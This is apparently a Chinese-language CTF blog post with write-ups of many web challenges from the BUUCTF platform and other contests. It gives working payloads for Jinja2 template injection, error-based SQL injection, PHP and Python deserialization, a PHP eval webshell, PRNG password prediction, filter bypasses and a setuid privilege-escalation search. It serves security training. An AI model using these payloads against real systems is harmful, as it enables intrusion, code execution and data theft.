前言 依旧在buu平台刷题,依旧猛攻
web [GYCTF2020]FlaskApp 这个一个编码一个解码,当解码内容出错时就会报错
解码的内容会经过waf过滤,然后再模板渲染,尝试{{7*7}}被拦截了,14成功渲染,后面经过测试,过滤import,os,eval还有flag,*这些关键字。看wp学到一种,paylaod
1 2 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
1 eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
这里用的时listdir,不用再拼接popen,命令简短一点
读取一下flag文件
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
还有一种是pin码解法这里就不写了,参考[BUUCTF-WEB 【GYCTF2020】FlaskApp 1 | Fan的小酒馆](https://fanygit.github.io/2021/04/19/[GYCTF2020]FlaskApp 1/)
[FBCTF2019]RCEService 考察的时rce,传参时用json传的,是但是过滤了很多,后来看wp才知道这题目应该是会给题目源代码的,在buu这个平台没有给,题目源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php putenv('PATH=/home/rceservice/jail' ); if (isset($_REQUEST['cmd' ])) { $json = $_REQUEST['cmd' ]; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json)) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode($json, true)['cmd' ]; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
看看这个waf是给人绕过的码,直接绕是不行的,这里使用的贪婪匹配,可以使用换行符%0a绕过,没有修饰符m这个是不匹配换行符
可以使用%0a绕过waf,具体可以参考[FBCTF 2019]rceservice 详细题解 - 技术栈 讲的很详细
这里定义了
1 putenv('PATH=/home/rceservice/jail');
这是设置了环境变量,无法使用命令cat,find等命令,但是可以通过绝对路径调用,看到根目录下没有flag,找一下flag
1 {%0A"cmd":"/usr/bin/find+/+-name+flag"%0A}
还有就是PCRE回溯机制有一个回溯限制次数——大约100 万次,当回溯超出这个次数,还没吐完的字符串就可以逃逸绕过匹配
exp
1 2 3 4 import requestspayload = '{"cmd":"ls /", "abc":"' +'a' *1000000 +'"}' res = requests.post("http://612d14e7-c6f0-4685-bbce-ac0da7e28a34.node5.buuoj.cn:81/" ,data = {"cmd" :payload}) print (res.text)
[Zer0pts2020]Can you guess it? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php include 'config.php' ; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i' , $_SERVER['PHP_SELF' ])) { exit("I don't know what you are thinking, but I won't let you read it :)" ); } if (isset($_GET['source' ])) { highlight_file(basename($_SERVER['PHP_SELF' ])); exit(); } $secret = bin2hex(random_bytes(64 )); if (isset($_POST['guess' ])) { $guess = (string) $_POST['guess' ]; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.' ; } } ?>
flag在config.php文件中,这里直接靠猜是才不对的,因为每次请求储存的secret都是改变的,关键在
1 highlight_file(basename($_SERVER['PHP_SELF']));
$_SERVER['PHP_SELF'] 是 PHP 超全局变量 $_SERVER 中的一个核心项,它表示当前执行脚本的文件名(包含从网站根目录开始的路径)
比如/index.php/1.php,PHP_SELF就是1.php。我们要读取config,php,然是还有waf,不能以config.php结尾,这里利用的是basename() 在处理非 ASCII 可打印字符(例如 URL 编码大于 %7f 的字符)时,由于字符集或 Locale 识别问题,可能会直接丢弃这些无法识别的字符,最常见的是%ff,payload
1 /index.php/config.php/%ff?source=1
以%ff结尾绕过waf,然后又被basename丢弃成功读取文件
[watevrCTF-2019]Cookie Store 这里尝试购买抓包看看
session储存的是购买记录还有余额,这里就可以构造恶意session
1 {"money": 10000000, "history": ["Yummy pepparkaka", "Yummy pepparkaka","Flag Cookie"]}
[CSCCTF 2019 Qual]FlaskLight
存在ssti,然后后面的流程很简单,就是过滤了一个globals,
flag在flasklight/coomme_geeeett_youur_flek,或者fenjing一把梭
[软件系统安全赛2026 ]thymeleaf 题目来自青岑网安 | QingCen CTF
登入进入是一个登入界面,附件给出代码逻辑,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 package com.ctf.prng.controller;import com.ctf.prng.service.RandomService;import com.ctf.prng.service.UserService;import javax.servlet.http.HttpSession;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;@Controller public class HomeController { private final UserService userService; private final RandomService randomService; @Autowired public HomeController (UserService userService, RandomService randomService) { this .userService = userService; this .randomService = randomService; } @GetMapping({"/"}) public String home (HttpSession session, Model model) { String username = (String)session.getAttribute("username" ); model.addAttribute("username" , username != null ? username : "guest" ); model.addAttribute("isAdmin" , "admin" .equals(username)); return "index" ; } @GetMapping({"/register"}) public String registerForm () { return "register" ; } @PostMapping({"/register"}) public String register (@RequestParam String username, Model model) { if (username != null && !username.trim().isEmpty()) { String trimmedUsername = username.trim(); if (trimmedUsername.length() >= 2 && trimmedUsername.length() <= 20 ) { if (!trimmedUsername.matches("^[a-zA-Z0-9]+$" )) { model.addAttribute("error" , "用户名只能包含大小写字母和数字" ); return "register" ; } else { try { long password = this .userService.registerUser(trimmedUsername); model.addAttribute("username" , trimmedUsername); model.addAttribute("password" , String.format("%016d" , password % 10000000000000000L )); return "register_success" ; } catch (IllegalArgumentException e) { model.addAttribute("error" , e.getMessage()); return "register" ; } } } else { model.addAttribute("error" , "用户名长度应为2-20个字符" ); return "register" ; } } else { model.addAttribute("error" , "用户名不能为空" ); return "register" ; } } @GetMapping({"/login"}) public String loginForm () { return "login" ; } @PostMapping({"/dologin"}) public String login (@RequestParam String username, @RequestParam String password, HttpSession session, Model model) { if (username != null && !username.trim().isEmpty()) { String trimmedUsername = username.trim(); if (trimmedUsername.length() >= 2 && trimmedUsername.length() <= 20 ) { if (!trimmedUsername.matches("^[a-zA-Z0-9]+$" )) { model.addAttribute("error" , "Invalid username or password" ); return "login" ; } else { boolean authenticated = this .userService.authenticate(trimmedUsername, password); if (authenticated) { session.setAttribute("username" , trimmedUsername); return "redirect:/" ; } else { model.addAttribute("error" , "Invalid username or password" ); return "login" ; } } } else { model.addAttribute("error" , "Invalid username or password" ); return "login" ; } } else { model.addAttribute("error" , "Invalid username or password" ); return "login" ; } } @GetMapping({"/logout"}) public String logout (HttpSession session) { session.invalidate(); return "redirect:/" ; } @GetMapping({"/admin"}) public String adminPage (HttpSession session, @RequestParam(required = false,defaultValue = "main") String section, Model model) { String username = (String)session.getAttribute("username" ); if (!"admin" .equals(username)) { return "redirect:/" ; } else { String templatePath = "admin :: " + section; return templatePath; } } }
我们要想办法获得admin权限,就要获得admin的密码,这里主要看一下密码的生成逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 package com.ctf.prng.service;import com.ctf.prng.model.User;import com.ctf.prng.repository.UserRepository;import java.security.SecureRandom;import javax.annotation.PostConstruct;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;import org.springframework.security.crypto.password.PasswordEncoder;import org.springframework.stereotype.Service;@Service public class RandomService { private final PseudoRandomGenerator prng; private final UserRepository userRepository; private final PasswordEncoder passwordEncoder; private long adminPassword; private final long seed; @Autowired public RandomService (UserRepository userRepository) { this .userRepository = userRepository; this .passwordEncoder = new BCryptPasswordEncoder (); SecureRandom random = new SecureRandom (); long rawSeed = (long )random.nextInt() << 32 | (long )random.nextInt() & 4294967295L ; this .seed = rawSeed & 281474976710655L ; this .prng = new PseudoRandomGenerator (this .seed); for (int i = 0 ; i < 9 ; ++i) { this .prng.next(); } this .adminPassword = this .prng.next(); } @PostConstruct public void initAdminUser () { this .userRepository.deleteAll(); String plainPassword = String.format("%016d" , this .adminPassword % 10000000000000000L ); String hashedPassword = this .passwordEncoder.encode(plainPassword); User admin = new User ("admin" , hashedPassword, "ADMIN" ); this .userRepository.save(admin); for (int i = 1 ; i <= 5 ; ++i) { String username = "user" + i; long userPlainPassword = this .prng.next(); String userPasswordStr = String.format("%016d" , userPlainPassword % 10000000000000000L ); String userHashedPassword = this .passwordEncoder.encode(userPasswordStr); User user = new User (username, userHashedPassword, "USER" ); this .userRepository.save(user); } } public long nextRandom () { return this .prng.next(); } public long getCurrentState () { return this .prng.getState(); } public long getAdminPassword () { return this .adminPassword; } public long getSeed () { return this .seed; } public boolean matches (String plainPassword, String hashedPassword) { return this .passwordEncoder.matches(plainPassword, hashedPassword); } public String encodePassword (String plainPassword) { return this .passwordEncoder.encode(plainPassword); } }
代码逻辑就是系统启动时,通过SecureRandom生成一个 64 位随机数,截断为 48 位作为 PRNG 的初始种子(seed);初始化 PRNG 实例后,先调用 9 次next()(预热,丢弃前 9 个随机数),然后admin 密码:PRNG 第 10 次next()的结果(48 位长整型);user1-user5 密码:PRNG 第 11~15 次next()的连续结果;注册用户密码:PRNG 第 16 次及以后next()的连续结果。因为初始seed()值不变,我们只要新注册一个用户,得到密码。exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsurl = "http://docker.qingcen.net:32915/" observed_password = "0173189343297519" MASK = (1 << 48 ) - 1 def prev_states (cur: int ): upper = (cur & ((1 << 47 ) - 1 )) << 1 out = [] for b0 in (0 , 1 ): prev = upper | b0 fb = ((prev >> 47 ) ^ (prev >> 46 ) ^ (prev >> 43 ) ^ (prev >> 42 )) & 1 if fb == ((cur >> 47 ) & 1 ): out.append(prev) return out cur = int (observed_password) states = {cur} for _ in range (6 ): new_states = set () for s in states: new_states.update(prev_states(s)) states = new_states result = sorted (f"{s % 10 **16 :016d} " for s in states) for i in result: data = { "username" : "admin" , "password" : i } print (f"testing password:{i} " ) r = requests.post(url+"dologin" , data=data,allow_redirects=False ) if r.status_code == 302 : print (f"[+]find password:{i} " )
然后看admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @GetMapping({"/admin"}) // 1. 映射GET请求到/admin路径(支持数组写法,可扩展多个路径) public String adminPage( HttpSession session, // 2. 获取用户会话(存储登录状态) @RequestParam(required = false,defaultValue = "main") String section, // 3. 可选请求参数section,默认值"main" Model model // 4. 向页面传递数据的模型(此处未使用) ) { // 5. 从会话中获取已登录的用户名(登录时存入session) String username = (String)session.getAttribute("username"); // 6. 核心权限校验:仅允许admin用户访问 if (!"admin".equals(username)) { return "redirect:/"; // 非admin用户 → 重定向到首页 } else { // 7. 拼接Thymeleaf模板片段路径(模板引擎语法) String templatePath = "admin :: " + section; return templatePath; // 返回模板片段,渲染对应内容 } }
这里存在ssti,用的是Thymeleaf模板
这里不设置section是默认是main。
::main (片段选择器 Fragment Selector) :这是触发 SSTI 的核心。当 Thymeleaf 遇到包含 :: 的字符串时,会认为你要动态加载一个模板片段。为了解析出具体的模板名,它会去计算前面拼接的内容,从而触发后面的表达式执行
这里的版本是3.0.15,直接禁用了对类的直接引用,还有new这里试很久才知道都不行,没想到忽略参考版本了,这里参考大佬payload
这里是ctf权限,尝试提权find / -user root -perm -4000 -print 2>/dev/null
使用7z提取flag
[0CTF 2016]piapiapia 扫描目录有一个www.zip,下载下来看源码,主要是在update.php.还有profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php require_once ('class.php' ); if ($_SESSION ['username' ] == null ) { die ('Login First' ); } if ($_POST ['phone' ] && $_POST ['email' ] && $_POST ['nickname' ] && $_FILES ['photo' ]) { $username = $_SESSION ['username' ]; if (!preg_match ('/^\d{11}$/' , $_POST ['phone' ])) die ('Invalid phone' ); if (!preg_match ('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/' , $_POST ['email' ])) die ('Invalid email' ); if (preg_match ('/[^a-zA-Z0-9_]/' , $_POST ['nickname' ]) || strlen ($_POST ['nickname' ]) > 10 ) die ('Invalid nickname' ); $file = $_FILES ['photo' ]; if ($file ['size' ] < 5 or $file ['size' ] > 1000000 ) die ('Photo size error' ); move_uploaded_file ($file ['tmp_name' ], 'upload/' . md5 ($file ['name' ])); $profile ['phone' ] = $_POST ['phone' ]; $profile ['email' ] = $_POST ['email' ]; $profile ['nickname' ] = $_POST ['nickname' ]; $profile ['photo' ] = 'upload/' . md5 ($file ['name' ]); $user ->update_profile ($username , serialize ($profile )); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>' ; } else { ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } }
同时还有一个waf,会把恶意字符替换为hacker,看附件知道flag在config.php,在profile.php中,存在文件读取,我们最有要读取的时config.php。在这个waf中,可以用where,替换为hacker后就会增加一个字符,我要构造的paylaod为
";}s:5:"photo";s:10:"config.php";}
1 2 3 4 5 6 7 8 9 <?php $profile = array ( 'phone' => '12345678901' , 'email' => '1@1.com' , 'nickname' => '123' , 'photo' => 'upload/804f743824c0451b2f60d81b63b6a900' ); echo serialize ($profile );?>
反序列化后
1 2 a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:7:"1@1.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
这里的nickname有限制,长度不能大于10,可以使用数组绕过,要逃逸34个字符,就要用到34个where
1 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
这里用数组绕过。
[MRCTF2020]套娃 1 2 3 4 5 6 7 8 9 10 11 12 <!-- $query = $_SERVER ['QUERY_STRING' ]; if ( substr_count ($query , '_' ) !== 0 || substr_count ($query , '%5f' ) != 0 ){ die ('Y0u are So cutE!' ); } if ($_GET ['b_u_p_t' ] !== '23333' && preg_match ('/^23333$/' , $_GET ['b_u_p_t' ])){ echo "you are going to the next ~" ; } !-->
主要是有两个waf,一个参数名为b_u_p_t,但是不能有_,参数值不为23333,但是要匹配2333,可以使用非法传参,题目php版本较低,可以使用b.u.p.t,php解析是会把.解析为_,然后参数值末尾加%0a,默认不匹配换行,
提示了ip,下面还有一段JSfuck编码,解码后是alert("post me Merak"),post传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 ); include 'takeip.php' ;ini_set ('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST ['Merak' ])){ highlight_file (__FILE__ ); die (); } function change ($v ) { $v = base64_decode ($v ); $re = '' ; for ($i =0 ;$i <strlen ($v );$i ++){ $re .= chr ( ord ($v [$i ]) + $i *2 ); } return $re ; } echo 'Local access only!' ."<br/>" ;$ip = getIp ();if ($ip !='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip ;if ($ip === '127.0.0.1' && file_get_contents ($_GET ['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change ($_GET ['file' ]);echo file_get_contents (change ($_GET ['file' ])); }?>
php协议协议写入文件内容,然后添加ip,逆向change逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php // 逆向函数:输入你想读取的文件名,输出 GET 参数的 file 值 function reverse_change($target_str){ $len = strlen($target_str); $original = ''; // 逆向计算每一位:原字符 = 目标字符ASCII - i*2 for($i=0; $i<$len; $i++){ $orig_ascii = ord($target_str[$i]) - $i*2; $original .= chr($orig_ascii); } // 最后 base64 编码 → 就是最终 payload return base64_encode($original); } // ============== 使用方法 ============== // 你想读取什么文件,就改这里 $target = "flag.php"; // 输出结果 echo "目标文件:".$target."<br>"; echo "GET 参数 file 的值:".reverse_change($target); ?>
[SUCTF 2019]Pythonginx 关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app.route('/getUrl' , methods=['GET' , 'POST' ] ) def getUrl (): url = request.args.get("url" ) host = parse.urlparse(url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list (urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333"
这一题主要是利用第三个if判断,
1 2 3 4 5 6 urllib.parse.urlsplit(url):这个函数将一个 URL 解析为以下五个部分: scheme:URL 的协议部分,如 http, https 等。 netloc:URL 的网络位置部分,通常是主机名和端口号的组合。 path:URL 的路径部分。 query:URL 的查询参数部分。 fragment:URL 的片段部分,即在页面内部定位用的锚点
国际化域名应用,国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。
主要就是用℆这个字符,经过idna编码和utf-8解码后就是c/u,nighx的文件配置
1 2 3 4 5 6 7 8 配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx 配置文件目录为:/usr/local/nginx/conf/nginx.conf
正好可以利用这个字符进行ssrf
[WUSTCTF2020]CV Maker 注册账号然后登入进去,有一个更换头像,传个🐎上去。要带个图片头
[红明谷CTF 2021]write_shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting (0 );highlight_file (__FILE__ );function check ($input ) { if (preg_match ("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input )){ die ('hacker!!!' ); }else { return $input ; } } function waf ($input ) { if (is_array ($input )){ foreach ($input as $key =>$output ){ $input [$key ] = waf ($output ); } }else { $input = check ($input ); } } $dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); } switch ($_GET ["action" ] ?? "" ) { case 'pwd' : echo $dir ; break ; case 'upload' : $data = $_GET ["data" ] ?? "" ; waf ($data ); file_put_contents ("$dir " . "index.php" , $data ); } ?>
两个参数,pwd显示路径,upload上传文件内容,文件内容有waf。可以使用短标签+反引号进行rce
0xGame2025-Week1 Lemon 这题目紧跟潮流啊,看一下源码
0xGame{Welc0me_t0_0xG@me_2025_Web!!!}
Lemon_RevEnge 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from flask import Flask,request,render_templateimport jsonimport osapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class Dst (): def __init__ (self ): pass Game0x = Dst() @app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), Game0x) return render_template("index.html" , Game0x=Game0x) @app.route("/<path:path>" ) def render_page (path ): if not os.path.exists("templates/" + path): return "Not Found" , 404 return render_template(path) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=9000 )
这里主要是一个利用原型链污染进行目录穿越,Flask 的 render_template(path)底层用的是JInjia2模板,这里有一个防止目录穿越的保护机制,大概逻辑就是
1 2 3 # Jinja2 内部简化后的检查 if os.path.pardir in path or ".." in path: # 或者用 split 等方式检测 # 拒绝访问
正常情况下,os.path.pardir 的值就是字符串 “..”,所以路径中只要出现 .. 就会被拦截,这里利用原型链污染修改这个值就可以完成目录穿越
1 2 3 4 5 6 7 8 9 10 11 { "__init__":{ "__globals__":{ "os":{ "path":{ "pardir":"," } } } } }
修改后在访问../../flag就可以得到flag
0xGame{Welcome_to_Easy_Pollute~}
[CISCN2019 华北赛区 Day1 Web2]ikun 19年的时候哥哥正火的时候
这里让找lv6,怎么这么熟悉,真polar春季赛那个coke好像啊,exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsbase_url = "http://23e3c507-fcd3-4a8e-b655-af4203271078.node5.buuoj.cn:81/shop?page=" found = False for i in range (1 , 2000 ): url = base_url + str (i) try : r = requests.get(url, timeout=5 ) if 'lv6.png' in r.text: print (f"\n✅ 找到 LV6 商品啦!在第 {i} 页" ) print (f"直接访问链接:{url} " ) found = True break except : pass if i % 50 == 0 : print (f"正在检查第 {i} 页..." ) if not found: print ("在 2000 页内没有找到 lv6.png,可能题目环境变了或地址不对" )
在第180页,这跟那个coke差不多只不过主人公变了,修改购买参数即可
依旧是jwt验证,那个密码是coke,这个密码就是ikun,尝试可不对,爆破一下
修改一下jwt
看源码有个zip
下载压缩包后得到源码,在models.py有
在Admin.py中有一个
1 pickle.loads(urllib.unquote(self .get_argument('become' )))
存在pickle反序列化漏洞,这里要用到python2
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickleimport urllibclass payload (object ): def __reduce__ (self ): return (eval , ("open('/flag.txt','r').read()" ,)) a = pickle.dumps(payload()) a = urllib.quote(a) print (a)c__builtin__%0Aeval%0Ap0%0A%28S%22open %28 %27 /flag.txt%27 %2C%27r%27 %29. read%28 %29 %22 %0Ap1%0Atp2%0ARp3%0A.
[RCTF2015]EasySQL 1 2 <form action="register.php" method="post"><p>username: <input type="text" name="username" /></p><p>password: <input type="text" name="password" /></p>email: <input type="text" name="email" /></p><input type="submit" value="Submit" /></form><script>alert('invalid string!')</script>
这里无论这测试有waf,在邮箱哪里不能用@,然后注册时发现admin账户已经存在,随便注册一个用户进入,发现有改密码的功能
这里是过根据username修改的密码
1 update password='xxxxx' where username="xxx"
这里可以构造用户名为amdin"#闭合单引号然后注释到后面的语句,然后修改admin的密码的登入
看了一圈没有flag,接下来就要进行二次注入,还是利用到修改密码的那个逻辑,拼接查询语句,刚才注册时知道有waf,fuzz一下
这些都是过滤了。图示只是一部分,修改密码是没有回显信息,考虑报错注入
1 11"&&(updatexml(1,concat(0x7e,database(),0x7e),1))#
1 11"&&(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#
1 11"&&(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#
这里看到最后的her应该是here,但是最多只能显示32位,使用reverse()函数将报错信息进行倒置
1 11"&&(updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),0x7e),1))#
flag在real_flag_1s_here
1 11"&&(updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)),0x7e),1))#
1 11"&&(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#
这里显示不完全,向后读取一下,但是substr被过滤了
1 11"&&(updatexml(1,concat(0x7e,revrese((select(group_concat(real_flag_1s_here))from(users))),0x7e),1))#
还是倒置输出
再找前面一段
1 11"&&(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#
两段拼一下
1 flag{8ed605a7-54cc-4d09-932a-0e1e8315d68c}
好题👍👍👍
[GWCTF 2019]枯燥的抽奖 用给的字符串输入,然后会显示代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php header ("Content-Type: text/html;charset=utf-8" );session_start ();if (!isset ($_SESSION ['seed' ])){$_SESSION ['seed' ]=rand (0 ,999999999 );} mt_srand ($_SESSION ['seed' ]);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } $str_show = substr ($str , 0 , 10 );echo "<p id='p1'>" .$str_show ."</p>" ;if (isset ($_POST ['num' ])){ if ($_POST ['num' ]===$str ){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source ("check.php" );
这里使用的mt_srand函数,这个生成的随机数是伪随机数,只要知道种子,就可以进行预测,使用php_mt_seed爆破种子,想把数据换成规范格式
1 2 3 4 5 6 7 8 9 10 11 12 13 chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" prefix = "AbCdEfGhIj" print ("正在生成 php_mt_seed 输入..." )for c in prefix: if c not in chars: print (f"错误字符: {c} " ) exit(1 ) idx = chars.index(c) print (f"{idx} {idx} 0 61" )
使用工具爆破种子
生成完整字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php // 你的种子 mt_srand(421601267); // 字符集(和题目完全一致) $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str = ''; // 生成完整20位 for ($i=0; $i<20; $i++) { $str .= substr($str_long1, mt_rand(0, strlen($str_long1)-1), 1); } // 输出最终答案! echo "✅ 完整20位字符串:".$str."\n"; ?>
[HITCON 2017]SSRFme 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $http_x_headers = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]); $_SERVER ['REMOTE_ADDR' ] = $http_x_headers [0 ]; } echo $_SERVER ["REMOTE_ADDR" ]; $sandbox = "sandbox/" . md5 ("orange" . $_SERVER ["REMOTE_ADDR" ]); @mkdir ($sandbox ); @chdir ($sandbox ); $data = shell_exec ("GET " . escapeshellarg ($_GET ["url" ])); $info = pathinfo ($_GET ["filename" ]); $dir = str_replace ("." , "" , basename ($info ["dirname" ])); @mkdir ($dir ); @chdir ($dir ); @file_put_contents (basename ($info ["basename" ]), $data ); highlight_file (__FILE__ );
首先是会显示ip,然后创建一个目录,目录名为md5(orange+ip),然后就是文件名处理,如果文件名是test,读取的文件路径就是/sandbox/md5(orange+ip)/test
这里的flag是空的,就要调用readflag来读取flag,但是get无法执行文件的,这可以利用伪协议写🐎,
1 ?url=data:text/plain,'<?php @eval($_POST['1'])?>'&filename=1.php
还有一种方法就是利用perl语言中open函数的rec漏洞,操作对象要是系统中已经存在的文件,所以先创建文件
1 ?url=&filename=|/readflag
然后文件读取
1 ?url=file:|readflag&filename=1
[b01lers2020]Welcome to Earth 这里看源码
